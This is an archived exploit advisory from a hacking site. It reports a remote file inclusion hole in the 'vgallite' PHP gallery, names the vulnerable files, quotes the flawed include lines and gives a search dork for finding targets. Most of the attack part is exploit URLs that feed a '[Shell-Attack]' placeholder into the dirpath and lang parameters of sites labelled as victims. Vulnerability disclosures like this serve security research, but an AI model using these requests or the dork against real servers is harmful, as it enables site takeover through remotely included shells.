AOH :: HP Unsorted A :: TB11930.HTM

ALL vgallite Remote File Include



ALL vgallite Remote File Include
ALL vgallite Remote File Include



Discovred By : Hasadya Raed
----------------------------
Contact : RaeD@BsdMail.Com , Hacker_Web@W.Cn , Gunman_Pump@Hotmail.Com 
----------------------------
Greetz : Jonathan , Muts  
----------------------------
Script: ALL vgallite
----------------------------
Dork: "vgallite"
----------------------------
B.File: 
_functions.php
index.php
----------------------------
Vuln code: if(ereg($key,$filename)) include_once("$dirpath/$filename");
Vuln code: include_once("lang/".((isset($language))?$language:"english").".php");
----------------------------
Exploit:
Http://www.Victim.com/vgallite/_functions.php?dirpath=[Shell-Attack] 
Http://www.Victim.com/vgallite/index.php?lang=[Shell-Attack] 
----------------------------
<----!Team Hackers Israel----!>

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.